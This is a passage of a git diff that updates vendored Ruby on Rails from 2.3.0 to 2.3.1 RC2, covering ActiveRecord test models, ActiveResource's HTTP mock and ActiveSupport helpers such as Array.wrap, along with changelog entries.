0, :message => 'custom' - @topic.title = 1 - @topic.errors.expects(:generate_message).with(:title, :less_than, {:value => 1, :count => 0, :default => 'custom'}) - @topic.valid? - end + # validates_associated w/ mocha - # validates_associated w/ mocha + def test_validates_associated_generates_message + Topic.validates_associated :replies + replied_topic.errors.expects(:generate_message).with(:replies, :invalid, {:value => replied_topic.replies, :default => nil}) + replied_topic.valid? + end - def test_validates_associated_generates_message - Topic.validates_associated :replies - replied_topic.errors.expects(:generate_message).with(:replies, :invalid, {:value => replied_topic.replies, :default => nil}) - replied_topic.valid? - end - - def test_validates_associated_generates_message_with_custom_default_message - Topic.validates_associated :replies - replied_topic.errors.expects(:generate_message).with(:replies, :invalid, {:value => replied_topic.replies, :default => nil}) - replied_topic.valid? - end + def test_validates_associated_generates_message_with_custom_default_message + Topic.validates_associated :replies + replied_topic.errors.expects(:generate_message).with(:replies, :invalid, {:value => replied_topic.replies, :default => nil}) + replied_topic.valid? end # validates_confirmation_of w/o mocha diff --git a/vendor/rails/activerecord/test/models/pirate.rb b/vendor/rails/activerecord/test/models/pirate.rb index 6a2416a0..7bc50e0e 100644 --- a/vendor/rails/activerecord/test/models/pirate.rb +++ b/vendor/rails/activerecord/test/models/pirate.rb @@ -10,7 +10,7 @@ class Pirate < ActiveRecord::Base has_many :birds accepts_nested_attributes_for :parrots, :birds, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? } - accepts_nested_attributes_for :ship, :allow_destroy => true + accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? } validates_presence_of :catchphrase end diff --git a/vendor/rails/activerecord/test/models/post.rb b/vendor/rails/activerecord/test/models/post.rb index 388fff8f..374e536a 100644 --- a/vendor/rails/activerecord/test/models/post.rb +++ b/vendor/rails/activerecord/test/models/post.rb @@ -1,5 +1,7 @@ class Post < ActiveRecord::Base named_scope :containing_the_letter_a, :conditions => "body LIKE '%a%'" + named_scope :ranked_by_comments, :order => "comments_count DESC" + named_scope :limit, lambda {|limit| {:limit => limit} } named_scope :with_authors_at_address, lambda { |address| { :conditions => [ 'authors.author_address_id = ?', address.id ], :joins => 'JOIN authors ON authors.id = posts.author_id' @@ -68,6 +70,10 @@ class Post < ActiveRecord::Base :before_remove => lambda {|owner, reader| log(:removed, :before, reader.first_name) }, :after_remove => lambda {|owner, reader| log(:removed, :after, reader.first_name) } + def self.top(limit) + ranked_by_comments.limit(limit) + end + def self.reset_log @log = [] end diff --git a/vendor/rails/activerecord/test/models/ship.rb b/vendor/rails/activerecord/test/models/ship.rb index c46e27f3..06759d64 100644 --- a/vendor/rails/activerecord/test/models/ship.rb +++ b/vendor/rails/activerecord/test/models/ship.rb @@ -4,7 +4,7 @@ class Ship < ActiveRecord::Base belongs_to :pirate has_many :parts, :class_name => 'ShipPart', :autosave => true - accepts_nested_attributes_for :pirate, :allow_destroy => true + accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? } validates_presence_of :name -end \ No newline at end of file +end diff --git a/vendor/rails/activeresource/CHANGELOG b/vendor/rails/activeresource/CHANGELOG index fcb5dd5f..8f6101ac 100644 --- a/vendor/rails/activeresource/CHANGELOG +++ b/vendor/rails/activeresource/CHANGELOG @@ -1,3 +1,8 @@ +*2.3.1 [RC2] (February 27th, 2009)* + +* Nothing new, just included in 2.3.1 + + *2.3.0 [RC1] (February 1st, 2009)* * Nothing new, just included in 2.3.0 diff --git a/vendor/rails/activeresource/Rakefile b/vendor/rails/activeresource/Rakefile index ef99caea..fc67b520 100644 --- a/vendor/rails/activeresource/Rakefile +++ b/vendor/rails/activeresource/Rakefile @@ -28,6 +28,8 @@ task :default => [ :test ] # Run the unit tests Rake::TestTask.new { |t| + activesupport_path = "#{File.dirname(__FILE__)}/../activesupport/lib" + t.libs << activesupport_path if File.directory?(activesupport_path) t.libs << "test" t.pattern = 'test/**/*_test.rb' t.verbose = true @@ -65,7 +67,7 @@ spec = Gem::Specification.new do |s| s.files = s.files + Dir.glob( "#{dir}/**/*" ).delete_if { |item| item.include?( "\.svn" ) } end - s.add_dependency('activesupport', '= 2.3.0' + PKG_BUILD) + s.add_dependency('activesupport', '= 2.3.1' + PKG_BUILD) s.require_path = 'lib' s.autorequire = 'active_resource' diff --git a/vendor/rails/activeresource/lib/active_resource/base.rb b/vendor/rails/activeresource/lib/active_resource/base.rb index 94418fb5..a8c0da31 100644 --- a/vendor/rails/activeresource/lib/active_resource/base.rb +++ b/vendor/rails/activeresource/lib/active_resource/base.rb @@ -462,7 +462,7 @@ module ActiveResource # that_guy.valid? # => false # that_guy.new? # => true def create(attributes = {}) - returning(self.new(attributes)) { |res| res.save } + self.new(attributes).tap { |resource| resource.save } end # Core method for finding resources. Used similarly to Active Record's +find+ method. @@ -600,7 +600,7 @@ module ActiveResource end def instantiate_record(record, prefix_options = {}) - returning new(record) do |resource| + new(record).tap do |resource| resource.prefix_options = prefix_options end end @@ -747,7 +747,7 @@ module ActiveResource # def ==(other) other.equal?(self) || (other.instance_of?(self.class) && other.id == id && other.prefix_options == prefix_options) - end + end # Tests for equality (delegates to ==). def eql?(other) @@ -773,7 +773,7 @@ module ActiveResource # my_invoice.customer # => That Company # next_invoice.customer # => That Company def dup - returning self.class.new do |resource| + self.class.new.tap do |resource| resource.attributes = @attributes resource.prefix_options = @prefix_options end @@ -985,14 +985,14 @@ module ActiveResource # Update the resource on the remote service. def update - returning connection.put(element_path(prefix_options), encode, self.class.headers) do |response| + connection.put(element_path(prefix_options), encode, self.class.headers).tap do |response| load_attributes_from_response(response) end end # Create (i.e., \save to the remote service) the \new resource. def create - returning connection.post(collection_path, encode, self.class.headers) do |response| + connection.post(collection_path, encode, self.class.headers).tap do |response| self.id = id_from_response(response) load_attributes_from_response(response) end diff --git a/vendor/rails/activeresource/lib/active_resource/http_mock.rb b/vendor/rails/activeresource/lib/active_resource/http_mock.rb index 0b4549f7..7d7e3784 100644 --- a/vendor/rails/activeresource/lib/active_resource/http_mock.rb +++ b/vendor/rails/activeresource/lib/active_resource/http_mock.rb @@ -59,7 +59,7 @@ module ActiveResource # end module_eval <<-EOE, __FILE__, __LINE__ def #{method}(path, request_headers = {}, body = nil, status = 200, response_headers = {}) - @responses[Request.new(:#{method}, path, nil, request_headers)] = Response.new(body || "", status, response_headers) + @responses << [Request.new(:#{method}, path, nil, request_headers), Response.new(body || "", status, response_headers)] end EOE end @@ -91,21 +91,17 @@ module ActiveResource @@requests ||= [] end - # Returns a hash of request => response pairs for all all responses this mock has delivered, where +request+ - # is an instance of ActiveResource::Request and the response is, naturally, an instance of - # ActiveResource::Response. + # Returns the list of requests and their mocked responses. Look up a + # response for a request using responses.assoc(request). def responses - @@responses ||= {} + @@responses ||= [] end # Accepts a block which declares a set of requests and responses for the HttpMock to respond to. See the main # ActiveResource::HttpMock description for a more detailed explanation. def respond_to(pairs = {}) #:yields: mock reset! - pairs.each do |(path, response)| - responses[path] = response - end - + responses.concat pairs.to_a if block_given? yield Responder.new(responses) else @@ -120,29 +116,23 @@ module ActiveResource end end - for method in [ :post, :put ] - # def post(path, body, headers) - # request = ActiveResource::Request.new(:post, path, body, headers) - # self.class.requests << request - # self.class.responses[request] || raise(InvalidRequestError.new("No response recorded for #{request}")) - # end - module_eval <<-EOE, __FILE__, __LINE__ - def #{method}(path, body, headers) - request = ActiveResource::Request.new(:#{method}, path, body, headers) - self.class.requests << request - self.class.responses[request] || raise(InvalidRequestError.new("No response recorded for \#{request}")) - end - EOE - end - - for method in [ :get, :delete, :head ] - module_eval <<-EOE, __FILE__, __LINE__ - def #{method}(path, headers) - request = ActiveResource::Request.new(:#{method}, path, nil, headers) - self.class.requests << request - self.class.responses[request] || raise(InvalidRequestError.new("No response recorded for \#{request}")) - end - EOE + # body? methods + { true => %w(post put), + false => %w(get delete head) }.each do |has_body, methods| + methods.each do |method| + # def post(path, body, headers) + # request = ActiveResource::Request.new(:post, path, body, headers) + # self.class.requests << request + # self.class.responses.assoc(request).try(:second) || raise(InvalidRequestError.new("No response recorded for #{request}")) + # end + module_eval <<-EOE, __FILE__, __LINE__ + def #{method}(path, #{'body, ' if has_body}headers) + request = ActiveResource::Request.new(:#{method}, path, #{has_body ? 'body, ' : 'nil, '}headers) + self.class.requests << request + self.class.responses.assoc(request).try(:second) || raise(InvalidRequestError.new("No response recorded for \#{request}")) + end + EOE + end end def initialize(site) #:nodoc: @@ -157,21 +147,13 @@ module ActiveResource @method, @path, @body, @headers = method, path, body, headers.merge(ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[method] => 'application/xml') end - def ==(other_request) - other_request.hash == hash - end - - def eql?(other_request) - self == other_request + def ==(req) + path == req.path && method == req.method && headers == req.headers end def to_s "<#{method.to_s.upcase}: #{path} [#{headers}] (#{body})>" end - - def hash - "#{path}#{method}#{headers}".hash - end end class Response diff --git a/vendor/rails/activeresource/lib/active_resource/validations.rb b/vendor/rails/activeresource/lib/active_resource/validations.rb index 4bc906d2..de333993 100644 --- a/vendor/rails/activeresource/lib/active_resource/validations.rb +++ b/vendor/rails/activeresource/lib/active_resource/validations.rb @@ -203,7 +203,7 @@ module ActiveResource def from_xml(xml) clear humanized_attributes = @base.attributes.keys.inject({}) { |h, attr_name| h.update(attr_name.humanize => attr_name) } - messages = Hash.from_xml(xml)['errors']['error'] rescue [] + messages = Array.wrap(Hash.from_xml(xml)['errors']['error']) rescue [] messages.each do |message| attr_message = humanized_attributes.keys.detect do |attr_name| if message[0, attr_name.size + 1] == "#{attr_name} " diff --git a/vendor/rails/activeresource/lib/active_resource/version.rb b/vendor/rails/activeresource/lib/active_resource/version.rb index c420ac81..4ac7eb1c 100644 --- a/vendor/rails/activeresource/lib/active_resource/version.rb +++ b/vendor/rails/activeresource/lib/active_resource/version.rb @@ -2,7 +2,7 @@ module ActiveResource module VERSION #:nodoc: MAJOR = 2 MINOR = 3 - TINY = 0 + TINY = 1 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/vendor/rails/activeresource/test/abstract_unit.rb b/vendor/rails/activeresource/test/abstract_unit.rb index e6124120..83bf1ed5 100644 --- a/vendor/rails/activeresource/test/abstract_unit.rb +++ b/vendor/rails/activeresource/test/abstract_unit.rb @@ -1,5 +1,9 @@ +require 'rubygems' require 'test/unit' +gem 'mocha', '>= 0.9.5' +require 'mocha' + $:.unshift "#{File.dirname(__FILE__)}/../lib" require 'active_resource' require 'active_resource/http_mock' @@ -10,17 +14,9 @@ require 'setter_trap' ActiveResource::Base.logger = Logger.new("#{File.dirname(__FILE__)}/debug.log") def uses_gem(gem_name, test_name, version = '> 0') - require 'rubygems' gem gem_name.to_s, version require gem_name.to_s yield rescue LoadError $stderr.puts "Skipping #{test_name} tests. `gem install #{gem_name}` and try again." end - -# Wrap tests that use Mocha and skip if unavailable. -unless defined? uses_mocha - def uses_mocha(test_name, &block) - uses_gem('mocha', test_name, '>= 0.5.5', &block) - end -end diff --git a/vendor/rails/activeresource/test/connection_test.rb b/vendor/rails/activeresource/test/connection_test.rb index 84bcf692..831fbc40 100644 --- a/vendor/rails/activeresource/test/connection_test.rb +++ b/vendor/rails/activeresource/test/connection_test.rb @@ -168,21 +168,19 @@ class ConnectionTest < Test::Unit::TestCase assert_equal 200, response.code end - uses_mocha('test_timeout, test_accept_http_header') do - def test_timeout - @http = mock('new Net::HTTP') - @conn.expects(:http).returns(@http) - @http.expects(:get).raises(Timeout::Error, 'execution expired') - assert_raise(ActiveResource::TimeoutError) { @conn.get('/people_timeout.xml') } - end + def test_timeout + @http = mock('new Net::HTTP') + @conn.expects(:http).returns(@http) + @http.expects(:get).raises(Timeout::Error, 'execution expired') + assert_raise(ActiveResource::TimeoutError) { @conn.get('/people_timeout.xml') } + end - def test_accept_http_header - @http = mock('new Net::HTTP') - @conn.expects(:http).returns(@http) - path = '/people/1.xml' - @http.expects(:get).with(path, {'Accept' => 'application/xhtml+xml'}).returns(ActiveResource::Response.new(@matz, 200, {'Content-Type' => 'text/xhtml'})) - assert_nothing_raised(Mocha::ExpectationError) { @conn.get(path, {'Accept' => 'application/xhtml+xml'}) } - end + def test_accept_http_header + @http = mock('new Net::HTTP') + @conn.expects(:http).returns(@http) + path = '/people/1.xml' + @http.expects(:get).with(path, {'Accept' => 'application/xhtml+xml'}).returns(ActiveResource::Response.new(@matz, 200, {'Content-Type' => 'text/xhtml'})) + assert_nothing_raised(Mocha::ExpectationError) { @conn.get(path, {'Accept' => 'application/xhtml+xml'}) } end protected diff --git a/vendor/rails/activeresource/test/setter_trap.rb b/vendor/rails/activeresource/test/setter_trap.rb index 9a899b0f..7cfd9ca1 100644 --- a/vendor/rails/activeresource/test/setter_trap.rb +++ b/vendor/rails/activeresource/test/setter_trap.rb @@ -1,9 +1,8 @@ class SetterTrap < ActiveSupport::BasicObject class << self def rollback_sets(obj) - returning yield(setter_trap = new(obj)) do - setter_trap.rollback_sets - end + trapped = new(obj) + yield(trapped).tap { trapped.rollback_sets } end end diff --git a/vendor/rails/activesupport/CHANGELOG b/vendor/rails/activesupport/CHANGELOG index 24e0836b..c0f24a10 100644 --- a/vendor/rails/activesupport/CHANGELOG +++ b/vendor/rails/activesupport/CHANGELOG @@ -1,3 +1,18 @@ +*2.3.1 [RC2] (February 27th, 2009)* + +* Vendorize i18n 0.1.3 gem (fixes issues with incompatible character encodings in Ruby 1.9) #2038 [Akira Matsuda] + +* Update bundled memcache-client from 1.5.0.5 to 1.6.4.99. See http://www.mikeperham.com/2009/02/15/memcache-client-performance/ [Mike Perham] + +* Ruby 1.9.1p0 fix: URI.unescape can decode multibyte chars. #2033 [MOROHASHI Kyosuke] + +* Time#to_s(:rfc822) uses #formatted_offset instead of unreliable and non-standard %z directive #1899 [Zachary Zolton] + +* Make TimeWithZone#to_formatted_s an alias to TimeWithZone#to_s #1796 [Levin Alexander] + +* Introduce Array.wrap(foo) to wrap the argument in an array unless it's already an array. Wraps nil as an empty array. Use instead of Array(foo) and foo.to_a since they treat String as Enumerable. [Jeremy Kemper] + + *2.3.0 [RC1] (February 1st, 2009)* * TimeWithZone#xmlschema accepts optional fraction_digits argument [#1725 state:resolved] [Nicholas Dainty] diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/array.rb b/vendor/rails/activesupport/lib/active_support/core_ext/array.rb index cc0a1ebc..82c6b124 100644 --- a/vendor/rails/activesupport/lib/active_support/core_ext/array.rb +++ b/vendor/rails/activesupport/lib/active_support/core_ext/array.rb @@ -3,6 +3,7 @@ require 'active_support/core_ext/array/conversions' require 'active_support/core_ext/array/extract_options' require 'active_support/core_ext/array/grouping' require 'active_support/core_ext/array/random_access' +require 'active_support/core_ext/array/wrapper' class Array #:nodoc: include ActiveSupport::CoreExtensions::Array::Access @@ -10,4 +11,5 @@ class Array #:nodoc: include ActiveSupport::CoreExtensions::Array::ExtractOptions include ActiveSupport::CoreExtensions::Array::Grouping include ActiveSupport::CoreExtensions::Array::RandomAccess + extend ActiveSupport::CoreExtensions::Array::Wrapper end diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/array/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/array/conversions.rb index 69d35daf..ba8e022f 100644 --- a/vendor/rails/activesupport/lib/active_support/core_ext/array/conversions.rb +++ b/vendor/rails/activesupport/lib/active_support/core_ext/array/conversions.rb @@ -6,14 +6,27 @@ module ActiveSupport #:nodoc: # * :words_connector - The sign or word used to join the elements in arrays with two or more elements (default: ", ") # * :two_words_connector - The sign or word used to join the elements in arrays with two elements (default: " and ") # * :last_word_connector - The sign or word used to join the last element in arrays with three or more elements (default: ", and ") - def to_sentence(options = {}) - options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale) - - default_words_connector = I18n.translate(:'support.array.words_connector', :locale => options[:locale]) + def to_sentence(options = {}) + default_words_connector = I18n.translate(:'support.array.words_connector', :locale => options[:locale]) default_two_words_connector = I18n.translate(:'support.array.two_words_connector', :locale => options[:locale]) default_last_word_connector = I18n.translate(:'support.array.last_word_connector', :locale => options[:locale]) - options.reverse_merge! :words_connector => default_words_connector, :two_words_connector => default_two_words_connector, :last_word_connector => default_last_word_connector + # Try to emulate to_senteces previous to 2.3 + if options.has_key?(:connector) || options.has_key?(:skip_last_comma) + ::ActiveSupport::Deprecation.warn(":connector has been deprecated. Use :words_connector instead", caller) if options.has_key? :connector + ::ActiveSupport::Deprecation.warn(":skip_last_comma has been deprecated. Use :last_word_connector instead", caller) if options.has_key? :skip_last_comma + + skip_last_comma = options.delete :skip_last_comma + if connector = options.delete(:connector) + options[:last_word_connector] ||= skip_last_comma ? connector : ", #{connector}" + else + options[:last_word_connector] ||= skip_last_comma ? default_two_words_connector : default_last_word_connector + end + end + + options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale) + options.reverse_merge! :words_connector => default_words_connector, :two_words_connector => default_two_words_connector, :last_word_connector => default_last_word_connector + case length when 0 "" diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/array/wrapper.rb b/vendor/rails/activesupport/lib/active_support/core_ext/array/wrapper.rb new file mode 100644 index 00000000..80b8f055 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/core_ext/array/wrapper.rb @@ -0,0 +1,24 @@ +module ActiveSupport #:nodoc: + module CoreExtensions #:nodoc: + module Array #:nodoc: + module Wrapper + # Wraps the object in an Array unless it's an Array. Converts the + # object to an Array using #to_ary if it implements that. + def wrap(object) + case object + when nil + [] + when self + object + else + if object.respond_to?(:to_ary) + object.to_ary + else + [object] + end + end + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb index de99fe57..15ad3d99 100644 --- a/vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb +++ b/vendor/rails/activesupport/lib/active_support/core_ext/string/inflections.rb @@ -1,4 +1,4 @@ -require 'active_support/inflector' +require 'active_support/inflector' unless defined?(ActiveSupport::Inflector) module ActiveSupport #:nodoc: module CoreExtensions #:nodoc: diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/time/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/time/conversions.rb index f42be467..e6f91346 100644 --- a/vendor/rails/activesupport/lib/active_support/core_ext/time/conversions.rb +++ b/vendor/rails/activesupport/lib/active_support/core_ext/time/conversions.rb @@ -10,7 +10,7 @@ module ActiveSupport #:nodoc: :short => "%d %b %H:%M", :long => "%B %d, %Y %H:%M", :long_ordinal => lambda { |time| time.strftime("%B #{time.day.ordinalize}, %Y %H:%M") }, - :rfc822 => "%a, %d %b %Y %H:%M:%S %z" + :rfc822 => lambda { |time| time.strftime("%a, %d %b %Y %H:%M:%S #{time.formatted_offset(false)}") } } def self.included(base) #:nodoc: diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/try.rb b/vendor/rails/activesupport/lib/active_support/core_ext/try.rb index 54a38c51..3de198d1 100644 --- a/vendor/rails/activesupport/lib/active_support/core_ext/try.rb +++ b/vendor/rails/activesupport/lib/active_support/core_ext/try.rb @@ -25,6 +25,7 @@ class Object def try(method, *args, &block) send(method, *args, &block) end + remove_method :try alias_method :try, :__send__ end diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/uri.rb b/vendor/rails/activesupport/lib/active_support/core_ext/uri.rb new file mode 100644 index 00000000..9a1c61d9 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/core_ext/uri.rb @@ -0,0 +1,16 @@ +if RUBY_VERSION >= '1.9' + require 'uri' + + str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese. + str.force_encoding(Encoding::UTF_8) if str.respond_to?(:force_encoding) + + unless str == URI.unescape(URI.escape(str)) + URI::Parser.class_eval do + remove_method :unescape + def unescape(str, escaped = @regexp[:ESCAPED]) + enc = (str.encoding == Encoding::US_ASCII) ? Encoding::UTF_8 : str.encoding + str.gsub(escaped) { [$&[1, 2].hex].pack('C') }.force_encoding(enc) + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/duration.rb b/vendor/rails/activesupport/lib/active_support/duration.rb index c41e86df..f64661c5 100644 --- a/vendor/rails/activesupport/lib/active_support/duration.rb +++ b/vendor/rails/activesupport/lib/active_support/duration.rb @@ -70,7 +70,7 @@ module ActiveSupport [:years, :months, :days, :minutes, :seconds].map do |length| n = consolidated[length] "#{n} #{n == 1 ? length.to_s.singularize : length.to_s}" if n.nonzero? - end.compact.to_sentence + end.compact.to_sentence(:locale => :en) end protected diff --git a/vendor/rails/activesupport/lib/active_support/inflections.rb b/vendor/rails/activesupport/lib/active_support/inflections.rb index b6d27695..8fb3fa9a 100644 --- a/vendor/rails/activesupport/lib/active_support/inflections.rb +++ b/vendor/rails/activesupport/lib/active_support/inflections.rb @@ -42,6 +42,7 @@ module ActiveSupport inflect.singular(/(vert|ind)ices$/i, '\1ex') inflect.singular(/(matr)ices$/i, '\1ix') inflect.singular(/(quiz)zes$/i, '\1') + inflect.singular(/(database)s$/i, '\1') inflect.irregular('person', 'people') inflect.irregular('man', 'men') diff --git a/vendor/rails/activesupport/lib/active_support/inflector.rb b/vendor/rails/activesupport/lib/active_support/inflector.rb index 4921b996..5ff6f50f 100644 --- a/vendor/rails/activesupport/lib/active_support/inflector.rb +++ b/vendor/rails/activesupport/lib/active_support/inflector.rb @@ -284,7 +284,7 @@ module ActiveSupport # The iconv transliteration code doesn't function correctly # on some platforms, but it's very fast where it does function. - elsif "foo" != Inflector.transliterate("föö") + elsif "foo" != (Inflector.transliterate("föö") rescue nil) undef_method :transliterate def transliterate(string) string.mb_chars.normalize(:kd). # Decompose accented characters diff --git a/vendor/rails/activesupport/lib/active_support/json/decoding.rb b/vendor/rails/activesupport/lib/active_support/json/decoding.rb index 9da40482..5eb8c0fd 100644 --- a/vendor/rails/activesupport/lib/active_support/json/decoding.rb +++ b/vendor/rails/activesupport/lib/active_support/json/decoding.rb @@ -46,10 +46,11 @@ module ActiveSupport json.gsub(/\\\//, '/') else left_pos = [-1].push(*marks) - right_pos = marks << json.length + right_pos = marks << scanner.pos + scanner.rest_size output = [] left_pos.each_with_index do |left, i| - output << json[left.succ..right_pos[i]] + scanner.pos = left.succ + output << scanner.peek(right_pos[i] - scanner.pos + 1) end output = output * " " diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/hash.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/hash.rb index 16dc8337..e38b4f3e 100644 --- a/vendor/rails/activesupport/lib/active_support/json/encoders/hash.rb +++ b/vendor/rails/activesupport/lib/active_support/json/encoders/hash.rb @@ -31,17 +31,16 @@ class Hash def to_json(options = {}) #:nodoc: hash_keys = self.keys - if options[:except] - hash_keys = hash_keys - Array(options[:except]) - elsif options[:only] - hash_keys = hash_keys & Array(options[:only]) + if except = options[:except] + hash_keys = hash_keys - Array.wrap(except) + elsif only = options[:only] + hash_keys = hash_keys & Array.wrap(only) end - returning result = '{' do - result << hash_keys.map do |key| - "#{ActiveSupport::JSON.encode(key.to_s)}: #{ActiveSupport::JSON.encode(self[key], options)}" - end * ', ' - result << '}' - end + result = '{' + result << hash_keys.map do |key| + "#{ActiveSupport::JSON.encode(key.to_s)}: #{ActiveSupport::JSON.encode(self[key], options)}" + end * ', ' + result << '}' end end diff --git a/vendor/rails/activesupport/lib/active_support/multibyte/chars.rb b/vendor/rails/activesupport/lib/active_support/multibyte/chars.rb index a00b1652..62b6d798 100644 --- a/vendor/rails/activesupport/lib/active_support/multibyte/chars.rb +++ b/vendor/rails/activesupport/lib/active_support/multibyte/chars.rb @@ -617,6 +617,8 @@ module ActiveSupport #:nodoc: # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent resulting in a valid UTF-8 string. def tidy_bytes(string) string.split(//u).map do |c| + c.force_encoding(Encoding::ASCII) if c.respond_to?(:force_encoding) + if !UTF8_PAT.match(c) n = c.unpack('C')[0] n < 128 ? n.chr : diff --git a/vendor/rails/activesupport/lib/active_support/testing/assertions.rb b/vendor/rails/activesupport/lib/active_support/testing/assertions.rb index ce2f44ef..ca51adba 100644 --- a/vendor/rails/activesupport/lib/active_support/testing/assertions.rb +++ b/vendor/rails/activesupport/lib/active_support/testing/assertions.rb @@ -31,13 +31,17 @@ module ActiveSupport # assert_difference 'Article.count', -1, "An Article should be destroyed" do # post :delete, :id => ... # end - def assert_difference(expressions, difference = 1, message = nil, &block) - expression_evaluations = Array(expressions).collect{ |expression| lambda { eval(expression, block.send(:binding)) } } + def assert_difference(expression, difference = 1, message = nil, &block) + b = block.send(:binding) + exps = Array.wrap(expression) + before = exps.map { |e| eval(e, b) } - original_values = expression_evaluations.inject([]) { |memo, expression| memo << expression.call } yield - expression_evaluations.each_with_index do |expression, i| - assert_equal original_values[i] + difference, expression.call, message + + exps.each_with_index do |e, i| + error = "#{e.inspect} didn't change by #{difference}" + error = "#{message}.\n#{error}" if message + assert_equal(before[i] + difference, eval(e, b), error) end end @@ -53,8 +57,8 @@ module ActiveSupport # assert_no_difference 'Article.count', "An Article should not be destroyed" do # post :create, :article => invalid_attributes # end - def assert_no_difference(expressions, message = nil, &block) - assert_difference expressions, 0, message, &block + def assert_no_difference(expression, message = nil, &block) + assert_difference expression, 0, message, &block end end end diff --git a/vendor/rails/activesupport/lib/active_support/testing/core_ext/test.rb b/vendor/rails/activesupport/lib/active_support/testing/core_ext/test.rb deleted file mode 100644 index d3f38f0b..00000000 --- a/vendor/rails/activesupport/lib/active_support/testing/core_ext/test.rb +++ /dev/null @@ -1,6 +0,0 @@ -require 'active_support/testing/core_ext/test/unit/assertions' -require 'active_support/testing/setup_and_teardown' - -class Test::Unit::TestCase #:nodoc: - include ActiveSupport::Testing::SetupAndTeardown -end \ No newline at end of file diff --git a/vendor/rails/activesupport/lib/active_support/testing/core_ext/test/unit/assertions.rb b/vendor/rails/activesupport/lib/active_support/testing/core_ext/test/unit/assertions.rb deleted file mode 100644 index e5853bf8..00000000 --- a/vendor/rails/activesupport/lib/active_support/testing/core_ext/test/unit/assertions.rb +++ /dev/null @@ -1,72 +0,0 @@ -require 'test/unit/assertions' -module Test - module Unit - #-- - # FIXME: no Proc#binding in Ruby 2, must change this API - #++ - module Assertions - # Test numeric difference between the return value of an expression as a result of what is evaluated - # in the yielded block. - # - # assert_difference 'Article.count' do - # post :create, :article => {...} - # end - # - # An arbitrary expression is passed in and evaluated. - # - # assert_difference 'assigns(:article).comments(:reload).size' do - # post :create, :comment => {...} - # end - # - # An arbitrary positive or negative difference can be specified. The default is +1. - # - # assert_difference 'Article.count', -1 do - # post :delete, :id => ... - # end - # - # An array of expressions can also be passed in and evaluated. - # - # assert_difference [ 'Article.count', 'Post.count' ], +2 do - # post :create, :article => {...} - # end - # - # A error message can be specified. - # - # assert_difference 'Article.count', -1, "An Article should be destroyed" do - # post :delete, :id => ... - # end - def assert_difference(expressions, difference = 1, message = nil, &block) - expression_evaluations = Array(expressions).map do |expression| - [expression, lambda do - eval(expression, block.__send__(:binding)) - end] - end - - original_values = expression_evaluations.inject([]) { |memo, expression| memo << expression[1].call } - yield - expression_evaluations.each_with_index do |expression, i| - full_message = "" - full_message << "#{message}.\n" if message - full_message << "<#{expression[0]}> was the expression that failed" - assert_equal original_values[i] + difference, expression[1].call, full_message - end - end - - # Assertion that the numeric result of evaluating an expression is not changed before and after - # invoking the passed in block. - # - # assert_no_difference 'Article.count' do - # post :create, :article => invalid_attributes - # end - # - # A error message can be specified. - # - # assert_no_difference 'Article.count', "An Article should not be destroyed" do - # post :create, :article => invalid_attributes - # end - def assert_no_difference(expressions, message = nil, &block) - assert_difference expressions, 0, message, &block - end - end - end -end diff --git a/vendor/rails/activesupport/lib/active_support/testing/setup_and_teardown.rb b/vendor/rails/activesupport/lib/active_support/testing/setup_and_teardown.rb index 245f57a7..7edf6fdb 100644 --- a/vendor/rails/activesupport/lib/active_support/testing/setup_and_teardown.rb +++ b/vendor/rails/activesupport/lib/active_support/testing/setup_and_teardown.rb @@ -8,7 +8,7 @@ module ActiveSupport include ActiveSupport::Callbacks define_callbacks :setup, :teardown - if defined? MiniTest + if defined?(MiniTest::Assertions) && TestCase < MiniTest::Assertions include ForMiniTest else include ForClassicTestUnit diff --git a/vendor/rails/activesupport/lib/active_support/time_with_zone.rb b/vendor/rails/activesupport/lib/active_support/time_with_zone.rb index 1a59b2a0..518ca774 100644 --- a/vendor/rails/activesupport/lib/active_support/time_with_zone.rb +++ b/vendor/rails/activesupport/lib/active_support/time_with_zone.rb @@ -155,6 +155,7 @@ module ActiveSupport "#{time.strftime("%Y-%m-%d %H:%M:%S")} #{formatted_offset(false, 'UTC')}" # mimicking Ruby 1.9 Time#to_s format end end + alias_method :to_formatted_s, :to_s # Replaces %Z and %z directives with +zone+ and +formatted_offset+, respectively, before passing to # Time#strftime, so that zone information is correct @@ -229,7 +230,7 @@ module ActiveSupport def advance(options) # If we're advancing a value of variable length (i.e., years, weeks, months, days), advance from #time, # otherwise advance from #utc, for accuracy when moving across DST boundaries - if options.detect {|k,v| [:years, :weeks, :months, :days].include? k} + if options.values_at(:years, :weeks, :months, :days).any? method_missing(:advance, options) else utc.advance(options).in_time_zone(time_zone) @@ -327,7 +328,7 @@ module ActiveSupport end def duration_of_variable_length?(obj) - ActiveSupport::Duration === obj && obj.parts.flatten.detect {|p| [:years, :months, :days].include? p } + ActiveSupport::Duration === obj && obj.parts.any? {|p| [:years, :months, :days].include? p[0] } end end end diff --git a/vendor/rails/activesupport/lib/active_support/vendor.rb b/vendor/rails/activesupport/lib/active_support/vendor.rb index 3d7d52ca..28852e65 100644 --- a/vendor/rails/activesupport/lib/active_support/vendor.rb +++ 